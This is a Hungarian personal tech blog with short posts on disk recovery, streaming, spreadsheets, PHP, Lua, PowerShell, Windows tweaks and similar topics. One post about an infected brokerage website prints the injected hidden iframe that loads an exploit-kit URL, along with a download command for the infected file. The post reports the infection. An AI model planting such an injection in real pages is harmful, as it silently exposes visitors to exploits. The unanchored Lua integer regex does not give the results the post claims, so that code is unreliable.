foofighter blogja

WinHex > MFT-tábla sérülése

Nem elérhetők egy negyven gigás NTFS-re formázott vinyómon a fájlok. Windows nem ismeri fel. Scandisk se tudja visszahozni a sírból. Sérült az MFT-tábla.

Cannot open "\$MFT". Unexpected data at offset C0000000 and offset 4A817B00, Res=-2, Res2=-2

Bootszektor:

Nincs valakinek ötlete, hogy lehetne visszanyerni az MFT-t?

1. Testdisk parancssoros felületén nem igazodtam ki :D
2. GetDataBack for NTFS-sel részben visszanyerhetőek a fájlok csak sajnos a fájlnevek és a mappába tartozás információk elvesznek. Bár a semminél jobb

FociVB > ustream.tv

Valahogy mplayerrel nem megy az indexes focivb-stream. Flvstreamerrel sem megy. :D

[code]
POST /rgw/UstreamHD/getStream?streamId=meccs1 HTTP/1.1

Host: cdngw.ustream.tv
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-amf
Content-Length: 63

........UstreamHD.getStream../1....
.......streamId...meccs1...

Ötlet > eÜgyintézés > Okmányirodák listázása elérhetőség szerint

Probléma:
Mivel a személyi igazolványom lejárt, így cserére szorul. Kerületemben lévő okmányiroda leghamarabb három hét múlva fogadóképes, így más okmányirodát kell választanom

Megoldás:
Egy olyan firefox addon, ami kilistázza az összes budapesti okmányirodát fogadási időpontokkal.

Megoldás+:
Egy olyan firefox addon, ami kilistázza a leghamarabb fogadóképes irodát.

Teszt: okmányiroda legkorábbi szabad időpontjai

POSTdata:


selectedCountyCode=BUD&
selectedOfficeId=AXTAT&
selectedCaseGroupId=15&
selectedCaseId=67&
action%3AcaseSubmitToAppointmentSame=Tov%C3%A1bb+az+id%C5%91pont+kiv%C3%A1laszt%C3%A1s%C3%A1hoz

[RENDEZVE] Csőd(?) > Dreamcomp kft.

A Dreamcomp kft.-nél még mindig "szerelik" a 2009 karácsonyában vett pendrájvomat(Corsair Flash Voyager 8GB, MULCORMCMFUSB20B) . Januárban adtam be szervizbe, mert nem hozta az előírt sebességet. Azóta náluk van.

Mivel úgy tűnik a cég nem elérhető ezt elbuktam.
Ezt hívják szopásnak. :D

Az e-cegjegyzek.hu nem jelzi, hogy becsődölt volna a cég. Weblapjuk elérhetetlen, telefononon nem elérhetőek(T_Chris-re reagálva).

Sly007 hozzászólására reagálva a történethez hozzátartozik, hogy egyszer már lecserélték a pendrájvot (ami furcsa volt, hogy egy bontott példányra), de érdekes módon az se hozta a kívánt sebességet, se az én laptopom, se a szervizes laptopján. Akkor hagytam ott, várva hogy majd felhívnak.

Hiba > Shuttle SB61G2

A rettenetes meleg nemcsak embert, állatot, de a gépeket sem kíméli. A Shuttle SB61G2 kezdetben instabillá vált, majd egyszercsak a P.O.S.T. képernyő se jött be.

Tünet:
A hátsó ventillátor maximumon forog, a HDD és Power LED ég, de nincs videojel.

Megoldás:
1. Tápkábelt húzzuk ki
2. Gombelemet pöcköljük ki
3. A SATA csatlakozó gép végéhez közelebb eső szomszédja egy jumper. Ezt pár másodpercig az 1-2 tűről helyezzük át a 2-3 tűre, majd vissza.
4. Helyezzük vissza a gombelemet
5. Dugjuk vissza a tápkábelt

Ha a gép kihűlt és hajlandó a BIOS-ba beengedni gyorsan állítsuk a ventillátort Smart-ról Full speed-re.

OpenOffice Calc > Osztályzatok számának listázása osztályzatok szerint (?)

A probléma a következő:

Hogyan lehet OpenOffice Calc-ban diagrammot készíteni egy olyan oszlopból, ami egy adott dolgozatra kiosztott érdemjegyeket tartalmaz, úgy hogy torta diagramon lehessen megjeleníteni, hogy adott érdemjegyből hány született.

Ahogy a képen is látszik valahogy el kéne jutni a startból a finishbe.


sqlite> create table jegyek ( jegy integer );
sqlite> insert into jegyek values(2);
sqlite> insert into jegyek values(2);
sqlite> insert into jegyek values(2);
sqlite> insert into jegyek values(1);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(3);
sqlite> insert into jegyek values(4);
sqlite> insert into jegyek values(4);
sqlite> insert into jegyek values(4);
sqlite> insert into jegyek values(5);
sqlite> insert into jegyek values(5);
sqlite> select count(*) from jegyek;

PHP > Excel > xslx exportálása tömbbe

[code]

XSLX iterator

<?php

require_once('library/PHPExcel.php');
require_once('library/PHPExcel/Reader/Excel2007.php');

ini_set('memory_limit','512M');
set_time_limit(60*5);

$excelfile = "Clients.xlsx";
$excelfile_serialized = $excelfile . "serialized";

/**

@Bug

Az $style = $this->_parent->getCellXfByIndex(11); esetén
a $style érteke null.

PHPExcel függőség:
http://phpexcel.codeplex.com/releases/view/10719#DownloadId=100806

*/

if (!file_exists($excelfile_serialized)){

$excel = new PHPExcel_Reader_Excel2007;
$excel->setReadDataOnly(true);
//$excel->setLoadSheetsOnly( array("Munka1", "Munka1") );
$loaded_excel = $excel->load( $excelfile );
$data = $loaded_excel->getActiveSheet()->toArray();
$hnd = fopen( $excelfile_serialized,"w" );
fwrite( $hnd, serialize( $data ) );
fclose( $hnd );

Vírus > Capitalpartners

Fertőz a bukott brókercég:

wget http://www.capitalpartners.hu/referenciak.swf
ugyanez a pastebinon: http://foofighter.pastebin.com/U5QPCWnU

Iframe-injekció:


< iframe  id="xYadbaVVax" name="ytbxYatYty"
src="http://reddii.ru/traffic/sploit1/?124yxxyxtyYVb" 
width="29" height="7" style="display: none;">

A javascript kód biztonságos futtatásához jó lenne egy emulált js-környezet. Ennek hiányában a Firefox Tamper Data bővítményét érdemes használni.
Ebbe berakjuk a javascript kódot és elindítjuk a Tamper Data-t.

http://www.3site.eu/jstests/jhp/ Ctrl+Enter kódvégrehajtás

Lua > Validation > Regexp

1. Hogyan teszteljük az egész számokat?


isInt("0") -- IGAZ
isInt("678") -- IGAZ
isInt("-42") -- IGAZ
isInt("--34") -- HAMIS
isInt("78.2") -- HAMIS
isInt("0a") -- HAMIS

Hát közel sem fedtük le az összes lehetséges esetet, de kiindulásnak jó lesz.
[code]
function isInt(input)

-- illeszkedő maszk esetén az inputtal tér vissza,
-- ellenkező esetben nil
return string.match(input, "[-+]?%d+")
end
function assert_equal(expected, actual)

expected = expected or "NIL"

if expected == actual then
print("[+] a szamitott ".. actual .." egyenlo a vart "..expected.." ertekkel")
else
print("[-] a szamitott ".. actual .." nem egyenlo a vart "..expected.." ertekkel")
end
end

Fontok > dafont.com

convert -size 320x110 xc:#105E26 -font CatsAlphabet -pointsize 60 -fill black -draw "text 82,82 HUP" -fill white -draw "text 79,79 HUP" hup.png

Néhány magyar ékezettel is bíró font a dafont.com-ról:

Szkript:
* This is Electronik

Eroded:
* Essays 1743
* Tnewpro

Distorted:
* Phorssa
* Alabama

Fix szélességű:
* SaxMono
* Liberation Mono

Jog > ACTA

Acta iActa est?
azaz az ACTA el van vetve? Mármint úgy mint egy kocka.. JAjj, ezen még dolgozni kell :D

1. Mi ez az ACTA?

Az Európai Unió, az Egyesült Államok, Japán, Kanada, Dél-Korea, Ausztrália, Svájc, Új-Zéland, Szingapúr, Svájc, Mexikó, Marokkó által létrehozott kereskedelmi szerződés a szerzői jog betartasáért és a hamis termékek elleni küzdelemért.


Mi történt 2009 április 1-én Svédországban?

PowerShell2 > SQLite3

(0) Adatbázis és tábla létrehozása


PS D:\powershell> $sqlitePath = "c:\Program Files\SQLite.NET\bin\System.Data.SQLite.dll"
PS D:\powershell> [System.Reflection.Assembly]::LoadFrom($sqlitePath)

GAC    Version        Location
---    -------        --------
True   v2.0.50727     C:\Windows\assembly\GAC_32\
System.Data.SQLite\1.0.65.0__db937bc2d44ff139\System.Data.SQLite.dll

PS D:\powershell> $Con = New-Object System.Data.SQLite.SQLiteConnection 
PS D:\powershell> $Con.ConnectionString = "Data Source=d:\powershell\test.db3"
PS D:\powershell> $Con.Open()
PS D:\powershell> $Cmd = $Con.CreateCommand()
PS D:\powershell> $Cmd.CommandText = "CREATE TABLE test (id INTEGER, x INTEGER)"
PS D:\powershell> try{ [bool] $Cmd.ExecuteNonQuery() } catch {write-host $_ }
Exception calling "ExecuteNonQuery" with "0" argument(s): "SQLite error
table test already exists"

Buzz > Vélemények

“it’s like twitter, facebook and michael arrington had a drunken 3-way. twitter gets pregnant. 7 months later there’s a premature delivery and the afterbirth ends up in your gmail inbox.”

Innen: http://www.deaddog.com/?p=17006

A Twitter, a Facebook és Michael Arrington csap egy görbe estét. A Twitter terhes lesz, majd hét hónapra rá megszül és a méhlepény a gmail-fiókódban landol. Na ez a Buzz.

Én még várok a buzZ korai temetésével. :D De azért ez vicces.

Flame > Magyar wikipedia-nak van értelme?

Sajnos van egy rossz tulajdonságom. Szeretek egyedi esetekből messzemenő következtetéseket levonni. Most is ez történt. Szóval van értelme a magyar wikipedianak?

Wikibrity Death Match:

http://en.wikipedia.org/wiki/Niger (magyarul)
Top level domain: .ne

http://hu.wikipedia.org/wiki/Niger
Top level domain: .ni (Nicaraguaé)

Szerintem okosabb dolog a google fordítóját ráereszteni az angol wikipedia oldalakra mint a magyarból tájékozódni.

De hogy legyen itt valami értelmes dolog is. Nézzük meg Niger uránkitermelését 1990-től 2005-ig.

Statisztika > Manipuláció

Egy január elején közzétett statisztika szerint Zala megyében a külföldiek közül román állampolgárok okozták a legtöbb balesetet az elmúlt években.

És ez érv amellett, hogy nálunk tömegesen vizsgáznak le románok. Nem lehet, hogy a románok nehezebben ismerik fel a magyar táblákat, esetleg jobban szédülnek a magyar aszfalton?

Innen: http://index.hu/belfold/2010/02/17/magyar_jogositvany_hamisitanak_kulfo…

Buzz > PubSubHubbub

Mi is a PubSubHubbub egy mondatban?

Egy olyan protokoll, ami a hírolvasók kiszolgálását segíti azzal, hogy beiktat egy hub-ot, ami segít a terhelés megosztásán. Nem volt világos? Hátha ez segít:

Magyarul: http://docs.google.com/present/view?id=dhkb2rmd_45cgmqg4fw
Angolul: http://docs.google.com/present/view?id=ajd8t6gk4mh2_34dvbpchfs

Ha valaki értelmetlenséget talál kérem jelezze

Windows > Junction > Temp mappa átirányítása

Nem is vettem észre, hogy ilyen hirtelen megtelt a C meghajtó, pedig a vindóz 7-nek 20 gigát szántam. A C-n elhelyezkedő temp mappa volt hogy megtelt, ezen a helyzeten kellett valamit segíteni.

Egyszerű a dolog. Töröljük a temp mappa tartalmát aztán magát a Temp mappát is és temp mappa helyett csináljunk egy szimbolikus linket(junction)-t ami a D:\temp-re mutat. Na, de jöjjön a gyakorlat:


> del FXSAPIDebugLogFile.txt
The process cannot access the file because it is being used by another process.

Némi guglizás után kiderült hogy másnak is volt gondja ezzel a fájllal. A vindózos support safe módban történő törlését javasolta.. hmmm...
Nézzük csak meg kihez is tartozik ez a fájl?
Handle segítségével kiderül, hogy ez bizony az explorer.exe sara. Franc se fog safe mode-ba bebootolni. Keressük ki a feladatkezelőben az explorert és lőjjük ki. Rögtön törölhető a FXSAPIDebugLogFile.txt. De viszont a Temp mappát nem engedi törölni. A handle segítségével megállapítható, hogy a Foxit Reader futás közben valamit kiment a temp mappába, így az olvasó bezárásával törlődik az átmeneti fájl és kitörölhetjük a temp mappánkat, hogy

Windows > BeepSong

Premier! Beepsong windowson. :D
Azaz dolgoztassuk a beephangszórót :D.

runanydll.exe

play_song_list.bat:


@echo off
for /F "tokens=1,2 delims= " %%i in (song_list.txt) do (
REM @echo %%i %%j
runanydll.exe kernel32.dll Beep UINT %%i UINT %%j
)

song_list.txt:


659 120  #  Treble E
622 120  #  Treble D#
659 120  #  Treble E
622 120  #  Treble D#
659 120  #  Treble E
94 120   #  Treble B
587 120  #  Treble D
523 120  #  Treble C
440 120  #  Treble A
262 120  #  Middle C
330 120  #  Treble E
440 120  #  Treble A
494 120  #  Treble B
330 120  #  Treble E
415 120  #  Treble G#
494 120  #  Treble B
523 120  #  Treble C
330 120  #  Treble E
659 120  #  Treble E
622 120  #  Treble D#
659 120  #  Treble E
622 120  #  Treble D#
659 120  #  Treble E
494 120  #  Treble B
587 120  #  Treble D
523 120  #  Treble C
440 120  #  Treble A
262 120  #  Middle C
330 120  #  Treble E
440 120  #  Treble A
494 120  #  Treble B
330 120  #  Treble E
523 120  #  Treble C
494 120  #  Treble B
440 120  #  Treble A

LUA > Curl > bindingek

Nézzük meg milyen curl bindingek vannak LUA-hoz.

http://curl.haxx.se/libcurl/lua/

1. luacurl adopts the easy interface
2. Lua-cURL is aiming for a full-fledged libcurl binding (easy/multi/share interface) to the functionality of Lua
3. freepops luacurl

Nézzük az elsőt és figyeljük meg, hogy az istennek nem lehet megoldani, hogy változóba írja a lehívott weboldalt, anélkül hogy ne nyissunk meg egy fájlt.